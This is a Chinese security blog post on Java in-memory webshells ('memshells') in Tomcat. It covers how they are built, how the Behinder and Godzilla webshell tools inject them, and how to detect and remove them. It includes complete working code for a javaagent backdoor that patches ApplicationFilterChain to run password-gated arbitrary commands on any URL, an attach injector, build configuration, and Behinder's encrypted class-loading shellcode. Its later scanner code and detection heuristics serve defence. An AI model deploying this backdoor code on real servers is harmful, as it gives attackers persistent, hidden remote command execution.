试想如果我们能找到一些关键类,这些关键类是Tomcat或相关容器处理请求的必经类,也就是要掉用相关类的相关方法,就可以完全摆脱url的限制,那么我们再通过javaagent和javassist实现运行时动态修改字节码来完成类的修改和重载,从中修改某方法的实现逻辑,嵌入命令执行并且回显,那么是不是同样可以实现内存马呢!

首先我们要找到Tomcat中请求处理的必经类也就是通用类。如:上文提到过Tomcat中的WEB组件Filter的实现,是一个Filterchain的链式调用,对请求做层层过滤:上一个filter调用该链的下一个filter的时候是通过filterchain.doFilter方法实现的:

image-20220307084836297

跟进是调用一个实现FilterChain接口的ApplicationFilterChain类的doFilter方式,其实现如下,正常情况下其实现是由InternalDoFilter()实现的,并传入其request and response对象。

image-20220307085024143

所以我们要找的通用类,必经方法可以是ApplicationFilterChain类的internalDoFilter(request,response)方法:

实现

Agent:

定义Agentthing类并定义agentmain(String,Instrumentation)方法,再方法中调用Instrumentation的addTransformer方法添加自定义的转换方法。检测jvm加载类,当匹配到了我们要找的ApplicationFilterChain(org.apache.catalina.core.ApplicationFilterChain)类,调用retransformClasses方法转换或者调用redefineClasses方法重载,这个两种方法都能实现字节码的修改,但后续针对这两种实现方式的修复和检测上存在很大的不同;上面讲javaagent技术的时候我们使用的是redefineclasses来实现的,这里我们实现的时候使用retransformClasses;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package priv.ga0weI.baseonagent;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Agentthing {
    public  static  void  agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        Transformerthings tf = new Transformerthings();//new my transformer
        inst.addTransformer(tf,true);//added
        Class[] allclass = inst.getAllLoadedClasses();//get all class load by ...
        for (Class cl : allclass){
            if (cl.getName().equals("org.apache.catalina.core.ApplicationFilterChain"))//for Tomcat
            {
                inst.retransformClasses(cl);
            }
        }
    }
}

转换类:

定义Agent中使用到的Transformerthings类,该类实现ClassFileTransformer接口并重写其抽象方法transform,在该方法中实现使用javassist来修改其对应类的字节码实现,也就是插入我们准备好的cmd命令执行并回显code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package priv.ga0weI.baseonagent;

import javassist.*;

import java.io.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformerthings implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){ // class from in jvm named as xxx/xxx/xxx/xxx
            try {
//                System.out.println("a request com and hook the ApplicationFilterChain");
                ClassPool classPool = ClassPool.getDefault();
//                System.out.println("classBeingRedefinefined is :"+classBeingRedefined.getName());// classBeingRedefined = null
                ClassClassPath classPath = new ClassClassPath(className.getClass());  //get className class's classpath
//                System.out.println("this class path :"+classPath.toString())    ;
                classPool.insertClassPath(classPath);  //add the classpath to classpool  To nextfind
//                System.out.println("classPool has :"+classPool.toString());
                if (classBeingRedefined!=null) //for avoide case of null, throw exception
                {
                    ClassClassPath classPath1 = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(classPath1);
                }
                CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");  //for xx.xx.xx
                CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter");//filterchain dofilter actually implementation ,change it'code and for all request

                ctMethod.addLocalVariable("elapsedTime", CtClass.longType);
                ctMethod.insertBefore(readSource());//insert the code for cmd

                byte [] classbytes =ctClass.toBytecode();//get changed code and return ,Notice  after the  method of  toBytecode,the ctClass will be forzen
                /*
                try get fileclass
                 */
                bytestoclass(classbytes,".\\tmp\\retransformed.class");//get changed class for check
                return classbytes;

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return  null;
    }

    /**
     * get the code ready for inject internalDoFilter
     * @return ready code
     */
    private String readSource() {
        StringBuilder source=new StringBuilder();
        InputStream is = Transformerthings.class.getClassLoader().getResourceAsStream("source.txt");
        InputStreamReader isr = new InputStreamReader(is);
        String line=null;
        try {
            BufferedReader br = new BufferedReader(isr);
            while((line=br.readLine()) != null) {
                source.append(line);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return source.toString();
    }

    /**
     * output file for check
     * @param bytes
     * @param filename
     */
    private void bytestoclass(byte [] bytes,String filename) {
        try{
            File file = new File(".\\tmp");
            if (!file.exists())
                file.mkdir();
            FileOutputStream fos = new FileOutputStream(filename);
            fos.write(bytes);
            fos.flush();
            fos.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

cmd code(上面的 source.txt):

    javax.servlet.http.HttpServletRequest request=$1; // reference for javassist
   javax.servlet.http.HttpServletResponse response = $2;
   String pwd=request.getParameter("passwod");
   String cmd=request.getParameter("cmd");
   String result="";
try {
            System.out.println("shell connectting");

         if (pwd!=null&&pwd.equals("ga0weI"))
         {
            if (cmd==null||cmd.equals(""))
            {
               result=priv.ga0weI.baseonagent.Shell.help();
            }
            else
            {
               result=priv.ga0weI.baseonagent.Shell.execute(cmd);
            }
                response.getWriter().print(result);
                return;
            }
      }
      catch(Exception e)
      {
         response.getWriter().print(e.getMessage());
      }

Inject or Attach :

定义并实现Attachthing类,利用java tools来实现loadagent,向jvm虚拟机的的java应用注入agent;这里我们实现的时候首先通过jps找到Tomcat的pid,因为Tomcat的启动文件叫BootStrap,而jvm中的jsp 的命名方法是通过启动文件命名,所以我们可以通过这种方式来找到其pid。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package priv.ga0weI.baseonagent;

import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Attachthing {
    public static void main(String[] args) throws Exception {
        String pid = getpid().trim();
        System.out.println("find a Tomcat vm:"+pid);
        String currentPath = Attachthing.class.getProtectionDomain().getCodeSource().getLocation().getPath();
        currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
//        System.out.println("path:"+currentPath);
        String agentFile = currentPath.substring(1,currentPath.length())+"Agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/","\\");
        System.out.println("agent file path :"+agentFile);
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent(agentFile);
        vm.detach();
        System.out.println("agent injected");
    }

    /**
     * look for pid in jvm
     * @return Pid
     * @throws Exception
     */
    private static String getpid() throws Exception{
        Process ps = Runtime.getRuntime().exec("jps");
        InputStream is = ps.getInputStream();
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader bis = new BufferedReader(isr);
        String line;
        StringBuilder sb = new StringBuilder();
        String result = null;
        while((line=bis.readLine())!=null){
            sb.append(line+";");
        }
        String  [] xx= sb.toString().split(";");
        for (String x : xx){
            if (x.contains("Bootstrap")) //find tomcat
            {
                result=x.substring(0,x.length()-9);
            }
        }
        return result;
    }

}

使用maven的maven-assembly-plugin插件打包:

pom.xml文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Attach</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>io.earcam.wrapped</groupId>
            <artifactId>com.sun.tools.attach</artifactId>
            <version>1.8.0_jdk8u172-b11</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>2.4.1</version>
                <configuration>
                    <!-- get all project dependencies -->
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                    <!-- MainClass in mainfest make a executable jar -->
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                            <mainClass>priv.ga0weI.baseonagent.Attachthing</mainClass>
                        </manifest>
<!--                        <manifestEntries>-->
<!--                            <Agent-Class>priv.ga0weI.baseonagent.Agentthing</Agent-Class>-->
<!--                            <Can-Redefine-Classes>true</Can-Redefine-Classes>-->
<!--                            <Can-Retransform-Classes>true</Can-Retransform-Classes>-->
<!--                            <Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>-->
<!--                        </manifestEntries>-->
                    </archive>


                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <!-- bind to the packaging phase -->
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>

    </build>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

</project>

注意,打包agent类的时候要使用Agent-Class标签,而且我们尽量用maven-assembly-plugin这个插件,这个插件默认能打包所有依赖。当然其他插件也可以,需要一些额外的配置配合使用。

image-20220307092246581

测试

打开Tomcat服务器:

image-20220307092802037

image-20220307092850453

image-20220307093354740

将准备好的jar文件放入Tomcat服务器的根目录:

image-20220307093103167

运行attach jar程序:

image-20220307093537086

访问任意路径带外passwod:

image-20220307093713694

带上cmd:

image-20220307093749741

此时Tomcat服务器日志记录:

image-20220307093841766

因为我们在注入的code里面有输出,干掉即可。从而就实现了

测试任意url:

image-20220307094032350

查看修改后的字节码:

image-20220307162146934

反编译:可以明显看到,该类的字的internalDofiler方法已被修改注入了任意命令执行逻辑。

image-20220307162325190

至此,agent类型的任意通用内存马实现完成;

4)、冰蝎中的内存马实现

貌似现在能找到的内存马的参考和学习文章,最早就是追溯到冰蝎的作者rebeyond师傅在18年写的一个叫memshell的项目,该项目主要讲到利用javaagent技术实现内存马,因此后续的冰蝎中内存马的实现也是使用的javaagent技术实现的,而没有使用动态注册的方式来实现:

下面我们通过分析冰蝎3源码来看看冰蝎中内存马的具体实现:

在MainController中的loadContextMenu方法中实现对注入内存马按钮的初始化,接下来我们找到该button的点击响应方法的实现即可

image-20220307100737661

image-20220307100926242

image-20220307101021547

找到保存并注入按钮的点击动作的实现:

image-20220307101243391

1、首先我们可以看到冰蝎3中的内存马中有放检测这一选项,这个在这里先提一下,后续在检测的查杀技术里面详细说。

2、saveBtn的setOnAction中主要实现逻辑是有injectMemShell来实现了的

接下来我们跟进injectMemShell方法,在该方法的实现中

image-20220307101855092

image-20220307102613304

接下来我们具体找到其agent.jar文件,在net/rebeyond/behinder/resource/tools 目录中:

image-20220307102339453

可以看到上面四个jar文件分别对应:Windows、Linux 、 Unix 、Mac

这里我们看下windows的:

使用xjad反编译tools_0.jar:

image-20220307104057987

反编译之后查看Memshell实现:

image-20220307105835072

在其agentmain方法里面对相关组件进行判断,从而选择不同的类,并写入入shellcode:

shellcode是写死在里面的,不同的方法里面做一些简单的替换即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern="%s";
if (request.getRequestURI().matches(pathPattern))
{
	java.util.Map obj=new java.util.HashMap();
	obj.put("request",request);
	obj.put("response",response);
	obj.put("session",session);
    ClassLoader loader=this.getClass().getClassLoader();
	if (request.getMethod().equals("POST"))
	{
		try
		{
			String k="%s";
			session.putValue("u",k);
			
			java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();
			Class cipherCls=systemLoader.loadClass("javax.crypto.Cipher");

			Object c=cipherCls.getDeclaredMethod("getInstance",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{"AES"});
			Object keyObj=systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),"AES"});;
			       
			java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod("init",new Class[]{int.class,systemLoader.loadClass("java.security.Key")});
			initMethod.invoke(c,new Object[]{new Integer(2),keyObj});

			java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod("doFinal",new Class[]{byte[].class});
            byte[] requestBody=null;
            try {
                    Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
			        Object Decoder = Base64.newInstance();
                    requestBody=(byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                } catch (Exception ex) 
                {
                    Class Base64 = loader.loadClass("java.util.Base64");
                    Object Decoder = Base64.getDeclaredMethod("getDecoder",new Class[0]).invoke(null, new Object[0]);
                    requestBody=(byte[])Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                }
						
			byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});
			java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});
			defineMethod.setAccessible(true);
			java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
			constructor.setAccessible(true);
			java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});
			java.lang.Class  c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});
			c.newInstance().equals(obj);
		}

		catch(java.lang.Exception e)
		{
		   e.printStackTrace();
		}
		catch(java.lang.Error error)
		{
		error.printStackTrace();
		}
		return;
	}	
}

可以看到其实现的cmdshell还是使用的是冰蝎加密的那一套。

最后的话是配合javassist来实现运行时动态字节码修改,需要注意的是这里使用Instrumentation的redefineclasses方法,和上文介绍javaagent技术小demo使用的是相同的,同时这里选取的通用类是jakarta.servlet.http.HttpServlet:

image-20220307110451691

image-20220307132501130

并且其doAgentShell里面实现了上文提及的attach注入:

image-20220307131959409

以上便是冰蝎3的内存马实现,是通过agent注入来实现的,最早是18年冰蝎的作者rebeyond在其memshell项目项目中用到,后续被融入进冰蝎客中;如下图是memshell项目中agent的实现:

image-20220307133103832

可以看到memshell项目中调用的是Instrumentation.retransformClasses()方法来实现的,而上文中也有提及现在的冰蝎3却不是这样的,是通过Instrumentation.redefineClasses方法实现的,那么为什么这里要发生改变了,是两个随便用吗?

这里面就涉及到agent技术本身以及内存马的检测的一些问题了,下面内存马的检测里面展开说

5)、哥斯拉中的内存马实现

哥斯拉是继冰蝎之后的一款主流webshell管理客户端,好像是当时和冰蝎三出来的时间差不多,影响里面是20年下边年护网的前不久出来的,当时我还在实习,其本质也是由于冰蝎2因其强特征太明显当时被各种ids、waf乱杀,于是哥斯拉便被大佬创造出来了,听另一个靓仔讲,哥斯拉的作者好像专科还没毕业就写出来哥斯拉了,丢,非人哉,回想我之前大三大四还在用java做加密器,学msf,cs的使用,还在用蚁剑、中国菜刀………

下面结合哥斯拉源码和哥斯拉流量简单分析下内存马在哥斯拉中的实现:

抓取哥斯拉注入内存马以及卸载内存马流量:

image-20220307141115189

抓取的流量主要分为三大部分:

  • 1、哥斯拉的首次加载使用的payload类,并初始化
  • 2、注入内存马
  • 3、卸载内存马

和冰蝎不同哥斯拉并不是每次都发送一个构造好的payload:如下图是冰蝎java的payload的类型,其中BasicInfo是首次加载使用的基础信息获取:

image-20220307142210763

image-20220307142313276

哥斯拉的模式是,第一次基本加载全部功能要使用payload到服务端中session中存储并使用,所以在首次连接的时候发送的加密流量会比较大,后续的话就基本就是加密传输相关函数名和参数调用,来完成。

1、首先我们来看下首次加载产生的加密流量:如图

image-20220307142641350

这里我简单研究了下哥斯拉的请求流量和响应流量的加密逻辑,自己写了一个解密工具:WebShellDecoder,健壮性有待提升但是实现基本的加密流量解密没什么问题;项目地址:https://github.com/minhangxiaohui/DecodeSomeJSPWebshell

使用WebShell解密工具解密:

image-20220307143211283

解密后拿到的其实就是第一次加载使用的payload的字节码文件,工具做了下还原生成eval.class文件,直接丢到idea反编译看下:

这个类叫NullsFailProvider和冰蝎实现payload一样,里面重写了equal和toString等方法来用于命令执行以及回显,但不同的是其继承了Classload类,通过其继承的defineClass方法可以来实现任意恶意字节码恶意类的对象实例的获取(可能会有人会疑惑为什么要这么做,服务端(木马)的实现不就是这样的吗,为啥发送的payload类还要这样做?这是因为下面为了对接统一管理,在服务端实现中当非首次加载的时候服务器端判读不是首次加载则不会做特殊处理,所以我们后续如果要扩展或者添加恶意类那么就只能通过这个来实现了)。还就是这里面很长很多的方法,基本涵盖了哥斯拉要是有的大部分功能:

image-20220307144054091

其实现的方法有:

image-20220307150503303

2、加载内存马时,客户端发往服务器的请求流量:

image-20220307150604021

解密请求流量:

image-20220307150835241

可以看到解密后得到了三个字段:

codeName=org.apache.coyote.node.NumericNode binCode=还原文件根目录下:binCodeEval.class methodName=include

其中bincode为一个新的字节码文件,并且已被还原为binCodeEval.class:

跟进首次加载的inlude()方法:可以看到首先获取bincode传入的恶意字节码并利用NullsFailProvider继承ClassLoader的特性,来实现新的恶意类的获取,可以看到哥斯拉在做加载内存马的准备工作的时候加载了新的恶意类。

image-20220307152531950

其新恶意类内容如下,叫NumericNode类:

image-20220307153836569

后续接着捕获到客户端请求流量:

image-20220307153127926

解密后:

image-20220307153201417

传入了5个参数:

  • secretKey=3c6e0b8a9c15224a

  • path=/myshell

  • evalClassName=org.apache.coyote.node.NumericNode

  • methodName=run

  • pwd=password

可以看到是调用run方法:从session中读出来之前存的NumericNode对象并实例化,然后调用其equal方法和toString方法,最后将结果传回session中的result:

image-20220307153718042

跟进NumericNode类的equals和toStirng方法:

equals:该方法里面主要是获取内存马注入要的东西,其中有上下文环境ServletContext以及密码密钥和路径

image-20220307154212126

toString方法:该方法中就是调用了addServlet()方法:

image-20220307154331418

跟进addServlet方法:这里实现了动态添加Servlet的逻辑,和上文提到的第一种动态添加servlet组件来实现的内存马的实现基本一致。

image-20220307154439787

后面还有卸载,卸载和添加的原理是一样的,删除掉该servlet所在的Wrapper对象即可。

以上是哥斯拉内存马的实现;可以看到哥斯拉和冰蝎实现内存马的方式是不一样的,哥斯拉选择的是动态注册Servlet组件来实现内存马的注入,而冰蝎则是通过javaagent技术配合javassist技术来实现内存马的注入。

3、内存马的检测、查杀技术

检测&清除

1)、第三类内存马,agent型内存马的检测和查杀

在思考内存马检测技术的时候,当时我第一反应就是javaagent技术,上文写到第三类内存马javaagent技术的实现的时候,有还原被注入后的字节码,以此类推那既然javaagent技术配合javassist技术能动态的获取到内存中字节码,那我们对关键类的字节码做一个校验、或过滤是不是就可以检测到第三类内存马了呢?

答案是:一半对,一半错;上文有提到agent型的内存马出现过两个形式,一个是18年rebeyond师傅在memshell项目中使用的Instrumentation.retransformerClasses来实现的,一个是现在冰蝎3中调用Instrumentation.redefineclasses方法实现了,这两个的实现途径的区别就是被redefineClasses方法重载过的类,其重载后的类的字节码无法在下一次调用redefineClasses或retransformClasses中获取到,所以我们就没办法获取到其字节码并做过滤以及检测;但是被retransformClasses方法重载后的类,该类的字节码可以被下次重载时调用,这也是为什么最后冰蝎在其agent内存马实现的时候使用redefineClass方法的原因,这样可以躲避javaagent技术实现的查杀。

这里我们先不谈redefineClasses实现的agent型内存马,先说retransformClasses的检测和查杀的实现:

正如上面说的,既然retransformClasses实现的内存马在下一次重载的时候我们可以获取到其真实的修改后的字节码,那我们检测的时候可以,检测一些Tomcat或相关容器中常见的统用类的通用方法,如上文提到的 ApplicationFilterChain类的dointernalFilter方法:

下面我们利用javaagent本身来检测并查杀上文中实现的第三种内存马,也就是retranformClasses方法实现的agent型内存马:

写的时候这里我就直接针对ApplicationFilterChain类的dointernalFilter来检测和查杀:

这里写了一个demo项目地址:https://github.com/minhangxiaohui/Memshel_Scanner

查杀使用的Agent:这里使用的Agent和上文实现agent型内存马原理是一致的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package priv.ga0weI.scannerbaseonagent;


import java.lang.instrument.Instrumentation;

public class Agentthings {
    public static  void  agentmain(String Args, Instrumentation inst) throws Exception {
//
        MyTransformer myTransformer=new MyTransformer();
        inst.addTransformer(myTransformer,true);
        for (Class aclass:inst.getAllLoadedClasses()){
            if (aclass.getName().equals("org.apache.catalina.core.ApplicationFilterChain"))
            {

                System.out.println("agent main:"+aclass.getName());
                inst.retransformClasses(aclass);
//                inst.removeTransformer(myTransformer);
            }
        }

    }

}

查杀使用的Transformer:这里是查杀的主要逻辑点,由上文我们可知利用Instrumentation.retransformClasses()实现的agent型内存马,在下一次重载的时候可以从transform方法中接收到前一次重载修改后的字节码,这里是通过参数classfileBuffer来传递的,所以我们查杀的简单思路就是:

  • 1、获取传入的classfileBuffer参数,如果该处被更改实现了内存马,那么和最原始肯定不一样
  • 2、通过javassist获取对应要检测类的原始字节码(这里也就是org/apache/catalina/core/ApplicationFilterChain类)
  • 3、做一个对比,如果不一致就说明被重载过,这里我们也可以进一步匹配重载字节码里面是否存在一些敏感类的调用,如Runtime、ProcessBulider等最后来确定被载入了内存马,这里下面的demo中就不做这部分工作了,因为知道我们之前是使用agent注入重载ApplicationFilterChainreturn的dointernalFilter()方法,所以在这里我们直接替换成重新从javassist中取出来的该类的原始实现,从而实现了检查和修复的目的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package priv.ga0weI.scannerbaseonagent;

import javassist.*;

import java.io.File;
import java.io.FileOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//        System.out.println("ga0weI"+className);
        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
           try {
               ClassPool classPool = ClassPool.getDefault();

               if(className!=null) {
                   ClassClassPath path = new ClassClassPath(className.getClass());
                   classPool.insertClassPath(path);
               }
               if (classBeingRedefined != null)
               {
                   ClassClassPath path2 = new ClassClassPath(classBeingRedefined);
                   classPool.insertClassPath(path2);
               }
//               System.out.println("class name:"+className);
               CtClass ctClass;
               try {
                   ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");//对应类没有内存马则为null抛出异常
               }catch (NotFoundException e){
                   System.out.println("no memshell in ApplicationFilterChain");
                   return classfileBuffer;
               }

//               CtMethod ctMethod=ctClass.getDeclaredMethod("internalDoFilter");
               byte [] bytes = ctClass.toBytecode();
               ctClass.defrost();
               bytestoclass(bytes,".\\tmp\\getApplicationFilterChain.class"); //original class eval
               bytestoclass(classfileBuffer,".\\tmp\\getclassfileBuffer.class");//changed class
               System.out.println("class has been get at /tmp");
               System.out.println("memshell recover");
               return bytes;//recover

           }catch (Exception e){
//               e.printStackTrace();
           }

        }
        return  classfileBuffer;
    }

    /**
     * get class
     * @param bytes
     */
    private void bytestoclass(byte [] bytes,String filename) {
        try{
            File file = new File(".\\tmp");
            if (!file.exists())
                file.mkdir();
            FileOutputStream fos = new FileOutputStream(filename);
            fos.write(bytes);
            fos.flush();
            fos.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

查杀使用的Attach:这里使用的Attache和之前实现内存马时的原理一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package priv.ga0weI.scannerbaseonagent;

import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Attachthings {
    public static void main(String[] args) throws Exception {
//        1、find vm
        String pid = getpid().trim();
        VirtualMachine vm = VirtualMachine.attach(pid);
//        2、find agentfile
        String path = Attachthings.class.getProtectionDomain().getCodeSource().getLocation().getPath();
        String currentPath = Attachthings.class.getProtectionDomain().getCodeSource().getLocation().getPath();
        currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
//        System.out.println("path:"+currentPath);
        String agentfile = currentPath.substring(1,currentPath.length())+"Scanner_agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/","\\");
//        3、load
        vm.loadAgent(agentfile);
//        vm.detach();
    }
    private static String getpid() throws Exception{
        Process ps = Runtime.getRuntime().exec("jps");
        InputStream is = ps.getInputStream();
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader bis = new BufferedReader(isr);
        String line;
        StringBuilder sb = new StringBuilder();
        String result = null;
        while((line=bis.readLine())!=null){
            sb.append(line+";");
        }
        String  [] xx= sb.toString().split(";");
        for (String x : xx){
            if (x.contains("Bootstrap")) //find tomcat
            {
                result=x.substring(0,x.length()-9);
            }
        }
        return result;
    }
}

简单测试:

开启tomcat服务器:

image-20220308152016459

注入agent内存马:

image-20220308152103025

测试内存马:anyurl?passwod=ga0weI&cmd=xxxx

image-20220308152313304

注入成功!

测试查杀:

image-20220308152415711

Tomcat日志:

image-20220308152436588

再次访问内存马:

image-20220308152523748

可以看到注入的内存马已经被干掉了:

我们来简单看下干掉过程中输出的两个文件:

image-20220308152737643

image-20220308152759676

getApplicationFilterChain.class是我们利用读出来的原始类:

image-20220308162805365

其中getclassfileBuffer.class是被内存马修改之后的文件:

image-20220308162920676

2)、第一类和第二类内存马的检测和查杀

其实第一类通过动态注册Servlet组件实现的内存马和第二类动态注册框架组件实现的内存马的原理都是通过动态注册组件来实现的。

在动态注册组件的时候不管是注册的是Servlet还是Filter、Listener、Controller,其都要创建新的类并继承相应组件的父类,新创建的类加载到jvm内存中之后,我们就可以通过java tools中的Instrumentation.getAllLoadedClasses()获取到,所以这两类内存马也可以通过javaagent技术来实现查杀;只是通过Instrumentation.getAllLoadedClasses()获取到对应类名之后的过滤条件不同了,查杀agent型内存马的时候,我们是通过检查常见通用类的字节码实现是否发生了改变来实现内存马的排查;针对第一类和第二类的话就存在一些差异:

  • 1、首先先判断加载到内存中的类,从类继承的角度去判断是否继承了如javax.servlet.Servlet、javax.servlet.Filter、javax.servlet.ServletRequestListener接口
  • 2、对于1中匹配到的类肯定也不能一棒子打死,因为正常实现的组件都会匹配到,所以我们还要进一步的检测内存马的特征:
    • 类名关键词检测,检测类名是否存在如:shell、memshell、noshell、cmd等敏感词
    • 对关键方法字节码实现关使用键词检测,检测类关键方法字节码实现中是否存在一些敏感词:如cmd、shell、exec;如:在Filter类里面的doFilter方法,Servlet里面的services方法。
    • 命令执行类检测,检测器字节码实现中是否存在调用Runtime、ProcessBuilder类可以用来执行命令的类

这种情况下当我们检测到内存马的时候,怎么查杀呢?

在哥斯拉中卸载此类内存马使用的方式是利用上下文对象来删除对应映射关系,最后做到无痕卸载。但是在这里我们没办法通过javaagent技术实现,我们能做到的是修改其实现内存马的字节码,修改为一个无害的代码,但是注册的url以及对应的映射逻辑不会发生改变;也就是如果之前 在 xxx:8080/memshell路径下存在内存马,我们通过javaagent实现的查杀之后的效果是,xxx:8080/memshell这个路径仍存在,但其传入相关参数从而实现命令执行的逻辑没有了。

虽然存在一个小小的缺陷,但是针对第一类和第二类的内存马的检测和查杀也可以使用javaagent技术来实现

agent型内存马通过Instrumetation.redefineClasses方法实现的该怎么检测到呢?

之前potats0师傅提到过一种检测此类内存马的方法,其实就是如何拿到被Instrumentation.redefineClasses方法重载之后的字节码的方法:

一般我们想要实现dump内存中的class的方法有两种:

  • 第一种就是上文提到的用agent attatch 到进程,然后利用 Instrumentation和 ClassFileTransformer就可以获取 到类的字节码了,但是由于该内存马使用redefineClasses实现的一个特殊性,该方法不能获取到类的字节码。

  • 第二种就是使用 sd-jdi.jar里的工具

这里potats0师傅就是提到使用sd-jdi.jar这个工具能实现获取此内存马的字节码:

image-20220308170315917

使用命令java -cp .\sa-jdi.jar sun.jvm.hotspot.HSDB开启相关组件

image-20220308170401909

找到Tomcat对应pid,attach进去:

image-20220308171028179

找到对应类ApplicationFilterChaind的dointernalFilter方法的实现:

image-20220308171700117

所以通过对该工具的调用可以实现对利用Instrumentation.redefineClasses实现的agent内存马的检测。

清除的话和上文提到利用Instrumentation.retransformerClasses实现的agent型内存马的方式一样,通过javassist获取该类原始字节码,在tranformer方法里面return即可。

测试最刚开始上文中提到的javaagent注入demo中使用redefineClasses实现的java_agent注入,成功获取替换之后的字节码文件:

image-20220308215410299

